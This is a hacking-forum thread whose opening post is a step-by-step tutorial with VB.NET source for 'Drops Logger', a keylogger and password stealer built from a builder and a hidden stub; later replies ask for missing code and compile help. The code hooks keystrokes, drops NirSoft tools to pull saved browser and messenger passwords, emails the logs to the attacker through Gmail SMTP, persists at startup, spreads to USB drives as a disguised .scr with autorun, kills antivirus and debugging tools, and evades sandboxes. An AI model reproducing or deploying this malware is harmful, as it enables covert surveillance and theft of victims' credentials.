Post Reply 
 
Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [Source]
06-09-2010, 09:45 PM
Post: #1
[TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [Source]
Drops Logger

Tutorial By Rapid
Advanced Keylogger & Stealer



Hello Friends This Is Rapid...Here My New Tutoral How To Make Advanced Keylogger & Stealer Using Drops [Credits To Nirsoft]

This Tutorial Is Very Noob Way I Will Explain Becasue Everyone Must UnderStand Ok Sorry For Bad English But I Would Like To Help U

First Of All New Mates ConfusingAbout Builder & Stub What Are They

Small Story : - Builder is just Like A Connector To Stub Whole SHit of our Code In Stub

So Stub Is Main Part [Server] And Buildr Is Just Like Calling The Req Options UnderStood


Builder Code


Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Drops Logger)---> Form Loaded Then

Edit Something Like

Naming as Drops Logger
Maximize box-False
Minimize Box -False
FormBorderStyle-FixedSingle


Add 5 lables & 3 Text Boxes & (NumericUpDown Set Value as 15) & 6 checkboxes & OpenFileDialog & 1Button(i have 3)


label1-Gmail Username
label2-Gmail Password
label3-Logs Send To
label4-Time Interval
label5-(Minutes}
checkbox1-Stealers
checkbox2-Run On Startup
checkbox3-Usb Spread
checkbox4-Anti-System
checkbox5-Icon Changer(CheckBox15X) here my code
checkbox6-FilePumper(CheckBox14C) here in my code
textbox1-getting gmail username
textbox2-getting gmail password
textbox3-logs send to here any mail u can add
textbox4-file pumper like here 1024kb = 1 mb
textbox5-icon changer path


Then Ur Builder Look Like This


[Image: droplogger1.jpg]

Double Click Or Hit F7

So Then Builder Code: import some as

Quote:Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports fLaSh.Dissembler ' <------ u got problem here add reference as Project--Addreference--browse-->dissembler LIB.dll



Take Some Variables

Quote: Dim stub, text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String



And Connection As

Quote:Const FileSplit = "@Rapid@"


Click On Iconchanger Check Box---Select as Method as "Click' or in CheckedChanged Place This Code

Code:
If CheckBox15X.Checked = True Then
Try
OpenFileDialog1.DefaultExt = "ico"
OpenFileDialog1.Filter = "icon files (*.ico)|*.ico"
OpenFileDialog1.FilterIndex = 1
If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
TextBox5.Text = String.Empty
TextBox5.Text = OpenFileDialog1.FileName
End If
Dim newicon As New Bitmap(TextBox5.Text, True)
PictureBox1.Image = newicon
Catch ex As Exception
MsgBox("Please Select Another Icon..........!Thank You ")
End Try
Else
MsgBox("U Dont Need Icon........Thx")


Double Click On Build (button1) Add This Entair Code


Code:
Try
text1 = TextBox1.Text 'username
text2 = TextBox2.Text 'pass
text3 = TextBox3.Text 'sendto
numberval = NumericUpDown1.Value 'time

If CheckBox1.Checked = True Then 'stelers
cb1 = True
Else : cb1 = False
End If

If CheckBox2.Checked = True Then 'startup
cb2 = True
Else : cb2 = False
End If

If CheckBox3.Checked = True Then 'Usb
cb3 = True
Else : cb3 = False
End If

If CheckBox4.Checked = True Then 'anties
cb4 = True
Else : cb4 = False
End If


'############## Icon Changer ########

If CheckBox15X.Checked = True Then
Try
Dim oIconFilenathu As New IconFile(Me.TextBox5.Text)
Dim groupIconResource As GroupIconResource = oIconFilenathu.ConvertToGroupIconResource()
groupIconResource.SaveTo(Application.StartupPath & "\Stub.exe")
Catch IC As Exception
MsgBox("Dear User Take Another Icon............!")
End Try
End If


FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)


'#### Check For Served Ifs There Exits Then it will delete

If File.Exists(Application.StartupPath & "\server.exe") Then
My.Computer.FileSystem.DeleteFile(Application.StartupPath & "\server.exe")
End If

FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & numberval & FileSplit & cb1 & FileSplit & cb2 &

FileSplit & cb3 & FileSplit & cb4)
FileClose(1)


'add bytes (file pumper)

If CheckBox14C.Checked = True Then
Try
Dim filesize As Double = Val(Me.TextBox4.Text)
If type.Text = "B" Then
filesize = Me.TextBox4.Text
ElseIf type.Text = "KB" Then
filesize = Me.TextBox4.Text * 1024
ElseIf type.Text = "MB" Then
filesize = Me.TextBox4.Text * 1048576
End If

Dim filetopump = IO.File.OpenWrite(Application.StartupPath & "\server.exe")
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
While size < filesize
filetopump.WriteByte(0)
size += 1
End While
filetopump.Close()

Catch Pump As Exception
MsgBox("There was an error while pumping !")
End Try

End If

'### Finally Server Created
MsgBox("Server was created successfully in : " & Application.StartupPath & "\server.exe")

Catch ex As Exception
MsgBox("Error May Be U Dont Place Stub...!")
End Try

" You Done Your Drops Logger Builder"



Stub Code


Then Stub Code First Of All Download iepv & PasswordFox&OperaPassView&ChromePass&Mspass From Nirsoft
And Add These As Reference To You Stub Project as Like THis

[Image: dropslogger2.jpg]

Agin

Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Stub)---> Form Loaded Then


Edit This Main Part To Hide Ur Server
In Stub Properties Modify This

1.ShownIcon As False
2.WindowState as Minimized (Imp)
3.Opacity as 0%
4.FormBorderStyle as Fixed Tool Window


9 textboxes & 5 lables & 2 timers

label1-time
label2-startup
label3-usb
label4-anties
label5-steales

Textbox1 as -for Keylogging Purpose whole keystokes will be here
Textbox2 as- for username
Textbox3 as -for pass
Textbox4 as-for logs send to
Textbox5(Here In My Code as TextBox9) -Ie Logs
Textbox6(Here In My Code as TextBox10)-firefox logs
Textbox7 (Here In My Code as TextBox11)-chrome logs
Textbox8 (Here In My Code as TextBox12)-opera logs
Textbox9 (Here In My Code as TextBox139)-chat messengers

timer1- Keylogging
timer3- sending mail


Why I Add Lot of textboxes why because to clear to observer my logs fox,chrome,opera logs in my pc U can code in single textbox aslo ur wish


Double Click On Stub Form Import This

Quote:Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail


and Variables as

Quote: Dim options(), text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String


Connection as

Quote: Const FileSplit = "@Rapid@"


and Hook Code


Code:
#Region "HOOK CODE"

Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Function GetCapslock() As Boolean
GetCapslock = CBool(GetKeyState(&H14) And 1)
End Function

Public Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(&H10))
End Function
Dim Result As Integer


'##keyhook
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure

Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer

Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer

Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer


Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer


Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)

Private Shared KeyHook As Integer

Private Shared KeyHookDelegate As KeyboardProcDelegate

Public Sub New()

KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate,

System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.G​etExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub

Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

If (nCode = HC_ACTION) Then
Select Case wParam

Case WM_KEYDOWN, WM_SYSKEYDOWN

RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP

RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If

Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()

UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As

Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

#End Region

And In In Form_ Load Add This Codes

Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary,

OpenAccess.Read, OpenShare.Shared)

text1 = Space(LOF(1)) 'username
text2 = Space(LOF(1)) 'pass
text3 = Space(LOF(1)) 'sender@anymail
numberval = Space(LOF(1)) 'time---->label1

cb1 = Space(LOF(1)) 'stealers ------>label15
cb2 = Space(LOF(1)) 'run on startup------>label2
cb3 = Space(LOF(1)) 'Usb------>label3
cb4 = Space(LOF(1)) 'anties------>label4



'+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

FileGet(1, text1) ' options(1) -->usernam
FileGet(1, text2) ' options(2)--->pass
FileGet(1, text3) 'options(3)---------->sender@gmail.com
FileGet(1, numberval) ' options(4)--->time >>>>>>>>-------->label1

FileGet(1, cb1) 'options(5)----------->Stealers

>>>>>>>>-------->label15
FileGet(1, cb2)

'options(6)----------->startup>>>>>>>>-------->label2
FileGet(1, cb3) 'options(7)----------->Usb >>>>>>>>-------->label3
FileGet(1, cb4)

'options(8)----------->anties>>>>>>>>-------->label4


FileClose(1)
options = Split(text1, FileSplit)


'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
'Getto

TextBox2.Text = options(1) '------------------->username
TextBox3.Text = options(2) '-------------------->pass
TextBox4.Text = options(3)

'------------------------>sender@anymail
Label1.Text = options(4) '---------------------->time



If options(5) = False Then
Label5.Text = "no-Stealers"
Else
Label5.Text = "Yes-Stealers"
'###################################here its calling steaelrs

Call IE()
TextBox9.Text = IO.File.ReadAllText(Environ("tmp") &

"\iepv.txt")


Call firefoxpass()
TextBox10.Text = IO.File.ReadAllText(Environ("tmp") &

"\firefox.txt")


Call chrome()
TextBox11.Text = IO.File.ReadAllText(Environ("tmp") &

"\ChromePass.txt")

Call OperaPassView()
TextBox12.Text = IO.File.ReadAllText(Environ("tmp") &

"\OperaPassView.txt")

Call mspass()
TextBox13.Text = IO.File.ReadAllText(Environ("tmp") &

"\mspass.txt")


End If

If options(6) = True Then '----------------------->start up
'Label2.Text = "startup "
AddStartup(Me.Text, Application.ExecutablePath)

Else
Label2.Text = "startup No"
End If

If options(7) = True Then '----------------------->Usb

Label3.Text = ("Yes-Usb")
usb()

Else
Label3.Text = ("No-Usb")

End If

If options(8) = True Then '----------------------->anties
Label4.Text = "yes-anties"
Try

Call AntiAnubis()
Call AntiBitDefender()
Call AntiKaspersky()
Call AntiKeyscrambler()
Call AntiMalwarebytes()
Call AntiNOD32()
Call AntiNorman()
Call AntiOllydbg()
Call AntiOutpost()
Call AntiWireshark()
Call AntiZoneAlarm()
ant.mofo()

Catch ex As Exception
Application.Exit() 'exit applicato
End Try





Else

Label4.Text = "No-anties"
End If



Timer1.Start() ' KeyStrokes Hack----------$MAIN PART$

Timer2.Interval = (Label1.Text * 60 * 1000) '' conver to minutes
Timer2.Start() ' sendign Mail

Click On Timer1 add this Code For Keystrokes loggin


Here 777 Lines Of Code

http://pastebin.com/MD5ANRXH
http://www.multiupload.com/PF38LTW0TB




Click On timer2 add these code


Code:
Try


Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox4.Text)
MyMailMessage.Subject = "+--Drops Logger Logs--+ "
MyMailMessage.Body = "The Drops Logger is Successfully

Activated On " & My.Computer.Name & " Computer " & " At the Time " &

My.Computer.Clock.LocalTime & Environment.NewLine & Environment.NewLine &

"[+----System Infomation----+]" & Environment.NewLine &

Environment.NewLine &

My.Computer.Info.OSFullName & " (Operating Sysytem)" &

Environment.NewLine & Environment.NewLine & " [+------Stealers-----+] " &

"+--Drops Logger By Rapid

-- Indian H@cker--+ " + vbNewLine + vbNewLine & "--+INDIAN H@CKER+--" +

vbNewLine + vbNewLine & TextBox1.Text & TextBox9.Text & TextBox10.Text &

TextBox11.Text & TextBox12.Text & TextBox13.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New

System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
TextBox1.Clear() 'its clear the logs

Catch ex As Exception

End Try


And Add these steales codes


Code:
#Region "Stealers"

Function IE() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.iepv
FileOpen(1, Environ("tmp") & "\iepv.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\iepv.exe /stext " & Environ("tmp") &

"\iepv.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\iepv.txt")
Return open
End Function

Function firefoxpass() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.PasswordFox
FileOpen(1, Environ("tmp") & "\passwordfox.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\passwordfox.exe /stext " & Environ("tmp")

& "\firefox.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\firefox.txt")
Return open
End Function

Function chrome() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.ChromePass
FileOpen(1, Environ("tmp") & "\ChromePass.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\ChromePass.exe /stext " & Environ("tmp")

& "\ChromePass.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\ChromePass.txt")
Return open
End Function

Function OperaPassView() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.OperaPassView
FileOpen(1, Environ("tmp") & "\OperaPassView.exe",

OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\OperaPassView.exe /stext " &

Environ("tmp") & "\OperaPassView.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\OperaPassView.txt")
Return open
End Function

Function mspass() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.mspass
FileOpen(1, Environ("tmp") & "\mspass.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\mspass.exe /stext " & Environ("tmp") &

"\mspass.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\mspass.txt")
Return open
End Function

#End Region


Usb Spred Code


Code:
Private Sub usb()

Dim drivers As String =

My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers &

"PornPic.scr")
Dim autorunwriter = New StreamWriter(drivers &

"\autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
autorunwriter.WriteLine("shellexecute=" & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & "autorun.inf",

FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & "PornPic.scr",

FileAttributes.Hidden)
Catch ex As Exception

End Try
Next
Call filehide()
End Sub
Private Sub filehide()



My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Window

s\CurrentVersion\Explorer\Advanced", "Hidden", 0)

End Sub
anties Code

Code:
#Region "Anties"


Sub AntiKeyscrambler()


Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "keyscrambler"
generaldee(i).Kill()
Case Else
End Select
Next

End Sub



'------------------------Wireshark----------------------------
Sub AntiWireshark()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "wireshark"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'----------------------------Anubis--------------------------------
Sub AntiAnubis()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "anubis"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'------------------------Malwarebytes----------------------------
Sub AntiMalwarebytes()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "mbam"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'------------------------Kaspersky----------------------------
Sub AntiKaspersky()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "avp"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------Ollydbg---------------------------------
Sub AntiOllydbg()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "ollydbg"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------Outpost---------------------------------
Sub AntiOutpost()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "outpost"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------Norman------------------------------
Sub AntiNorman()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "npfmsg"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------Bit Defender------------------------------
Sub AntiBitDefender()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "bdagent"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------NOD32------------------------------
Sub AntiNOD32()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "egui"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub

'-----------------------Zone Alarm------------------------------
Sub AntiZoneAlarm()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "zlclient"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub





'+=TOfx

Public Class ant
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Shared Sub mofo()
seekit("MSASCui")
seekit("msmpeng")
antiSandboxie()
IsVmWare()
AntiThreatExpert()
checkUsername()
checkComputername()
End Sub

Private Shared Sub seekit(ByVal gay1 As String)
For Each p As Process In Process.GetProcesses()
If p.ProcessName.Contains(gay1) Then
Try
p.Kill()
Catch ex As Exception
End Try
End If
Next
End Sub

Private Shared Sub checkUsername()
Dim Usernames As New List(Of String)
Usernames.Add("UserName")
Usernames.Add("User")
Usernames.Add("honey")
Usernames.Add("sandbox")
Usernames.Add("currentuser")
Usernames.Add("User")
For Each name As String In Usernames
If Environment.UserName = name Then
Environment.Exit(0)
End If
Next
End Sub

Private Shared Sub checkComputername()
Dim Computername As New List(Of String)
Computername.Add("ComputerName")
Computername.Add("COMPUTERNAME")
Computername.Add("DELL-D3E62F7E26")
Computername.Add("DWI-9625AC2E275")
Computername.Add("MICHAEL-F156CF7")
For Each name As String In Computername
If Environment.MachineName = name Then
Environment.Exit(0)
End If
Next
End Sub

Public Shared Sub antiSandboxie()
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
Environment.Exit(0)
End If
End Sub
Public Shared Sub IsVmWare()
Dim Hndl As Long
Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
If Hndl = 0 Then
Environment.Exit(0)
End If
End Sub

Private Shared Sub AntiThreatExpert()
If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
Environment.Exit(0)
End If
End Sub
End Class

#End Region


" You Done Your Drops LoggerStub"


You Have Any Problem Check Here Project

Download link

http://www.multiupload.com/5A3JNXD8F3




I Hope You Like It But Very Lenthy Tutorial Give Proper Credits To Me If You use This Code
And Encourage Me For My Effort Black HatBlack Hat
User Tools
Quote this message in a reply
10-02-2011, 08:05 PM
Post: #2
RE: [TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [Source]
One, you have not given credits to the original poster.
Two, It's not properly layed out.
User Tools
Quote this message in a reply
06-04-2012, 12:55 PM (This post was last modified: 06-11-2012 05:23 AM by AdaS.)
Post: #3
RE: [TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [Source]
well does it work on a Mac like this keylogger Mac?

:)
User Tools
Quote this message in a reply
10-10-2013, 03:44 PM
Post: #4
RE: [TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [Source]
The Timer1 Code is REMOVED
I need it ? Can anyone Give it to Meee ??
User Tools
Quote this message in a reply
03-28-2014, 08:24 AM
Post: #5
RE: [TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [S...
Thanks a lot for code, sir,

"" Stub Code

Then Stub Code First Of All Download iepv & PasswordFox&OperaPassView&ChromePass&Mspass From Nirsoft And Add These As Reference To You Stub Project as Like THis

[Image: dropslogger2.jpg]""

Here I got error,

I downloaded it all, but error says " coud not add as reference. exe.. "",
I m using visual studio 2008 win7 32 bit..

For resolving this, I tried such solutions like,
Convert. exe to dll, abd tried to add, but no success,
Refresh. resx and recompile,

What to do, for resolving this error,
Is it .Net version error? ?

NOTE: A.jpeg not shown which you added in your source ..

PLEASE ANY ONE HELP! !!!
User Tools
Quote this message in a reply
03-30-2014, 10:47 PM
Post: #6
RE: [TuT]How To Make A Advanced Keylogger & Stealer Using Drops Detection 2/20 [S...
(10-10-2013 03:44 PM)steveroseik Wrote:  The Timer1 Code is REMOVED
I need it ? Can anyone Give it to Meee ??

I also want "Timer Code" , have you get it ? plz reply..

I need it !!!Sad
User Tools
Quote this message in a reply
Post Reply 


Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Archelaus Rat Source nofear1999 5 9,309 11-25-2013 07:26 PM
Last Post: Ndrone
  My Keylogger [SOURCE] VB.NET ViRuzz™ 4 15,446 11-25-2013 07:06 PM
Last Post: Ndrone
  [ Source ] WoRmy Professional Auto Speader ToXiC 12 17,994 06-19-2013 02:43 AM
Last Post: Dn Angel



User(s) browsing this thread:
1 Guest(s)